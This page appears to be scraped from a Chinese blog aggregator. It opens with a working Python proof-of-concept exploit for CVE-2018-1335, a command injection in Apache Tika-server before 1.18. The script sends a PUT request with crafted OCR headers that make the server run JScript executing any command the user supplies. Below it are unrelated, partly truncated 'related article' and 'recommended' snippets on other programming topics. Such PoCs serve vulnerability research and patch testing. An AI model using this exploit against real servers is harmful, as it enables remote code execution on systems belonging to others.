[EXP]Apache Tika-server < 1.18 - Command Injection
######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server. #
#Versions Affected: Tika-server versions < 1.18 #
#Researcher: David Yesland Twitter: @Daveysec #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ # #
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335 #
###################################################################################################### import sys
import requests if len(sys.argv) < 4:
print "Usage: python CVE-2018-1335.py <host> <port> <command>"
print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3] url = host+":"+str(port)+"/meta" headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"} jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd) try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False) except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"
[EXP]Apache Tika-server < 1.18 - Command Injection的更多相关文章
- 【apache tika】apache tika获取文件内容(与FileUtils的对比)
Tika支持多种功能: 文档类型检测 内容提取 元数据提取 语言检测 重要特点: 统一解析器接口:Tika封装在一个单一的解析器接口的第三方解析器库.由于这个特征,用户逸出从选择合适的解析器库的负担, ...
- What is the difference Apache (Http Server) and Tomcat (Servlet Container)
The Apache Project The Apache Project is a collaborative software development effort. Its goal is to ...
- CentOS7安装配置Apache HTTP Server
RPM安装httpd 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # yum -yinstall http ...
- 1.6.3 Uploading Data with Solr Cell using Apache Tika
1. Uploading Data with Solr Cell using Apache Tika solr使用Apache Tika工程的代码提供了一个框架,用于合并所有不同格式的文件解析器为so ...
- apache http server 多线程模式
一般apache采用prefork和worker机制,通过apachectl -l命令查看默认使用的prefork机制.需要修改prefork策略 那么需要做如下修改: 1,/usr/local/ap ...
- CentOS 7安装配置Apache HTTP Server
原文 CentOS 7安装配置Apache HTTP Server RPM安装httpd # yum -yinstall httpd //安装httpd会自动安装一下依赖包: apr apr-ut ...
- Apache Httpd Server 2.2升级2.4
Apache Httpd Server 2.2升级2.4 (2 votes, average: 5.00 out of 5) 2,302 views 2012 年 3 月 20 日Web服务器.服务器 ...
- Django部署到Apache Web Server
Windows环境下,将Django部署到Apache Web Server 在Windows上部署Django(用mod_wsgi)会出现各种奇怪的问题,现简单记录下配置过程及遇到的错误及解决方法. ...
- 转:Fuzzing Apache httpd server with American Fuzzy Lop + persistent mode
Fuzzing Apache httpd server with American Fuzzy Lop + persistent mode 小结:AFL主要以文件作为输入进行fuzz,本文介绍如何对网 ...
随机推荐
- Java学习笔记(二十二):打包程序
加入一个程序测试完毕,我们就可以将它打包,就可以放到服务器上运行了 找到左下角的终端 点击 输入命令: mvnw clean package -DskipTests=true clean:清除以前生成 ...
- sqlserver truncate清空表时候,无法删除 'B表',因为该表正由一个 FOREIGN KEY 约束引用。
外键: 查询:select object_name(a.parent_object_id) 'tables' from sys.foreign_keys a where a.referenced_ ...
- 169. Majority Element (Array)
Given an array of size n, find the majority element. The majority element is the element that appear ...
- 46 【golang项目】完成了一个小小的播放器功能
项目地址:https://github.com/helww/mylab/tree/master/go/player 这个项目中用到了readme说明文件是一个markdown文件. 基础的控制语法,网 ...
- 419. Battleships in a Board 棋盘上的战舰数量
[抄题]: Given an 2D board, count how many battleships are in it. The battleships are represented with ...
- WordPress 自动初始化数据库
背景 自动化搭建开发环境.测试.部署如通过网页操作(访问 /wp-admin/install.php)相对比较麻烦且在有的场景无法实现. 步骤 修改 wp-config.php 配置 wordpres ...
- 4412 uboot上手
1,了解 print 查看UBOOT软件的环境变量 (变量名=变量) setenv.saveenv setenv abc 100 200 设置 添加一个变量值 修改一个已有的变量 ...
- CentOS 6.7快速搭建lamp环境
安装前要关闭防火墙,防止外网不能访问,这一点很重要,要不然外网访问不了: ①关闭防火墙:service iptables stop ②永久关闭防火墙:chkconfig iptables off ③查 ...
- (转)android import library switch语句报错case expressions must be constant expressions
今天当我从github上下载一个工程,并把它的库文件导入eclipse中,发现switch语句报错case expressions must be constant expressions : 解决方 ...
- boost的下载和安装(windows版)
1 简介 boost是一个准C++标准库,相当于STL的延续和扩充,它的设计理念和STL比较接近,都是利用泛型让复用达到最大化. boost主要包含以下几个大类: 字符串及文本处理.容器.迭代器(it ...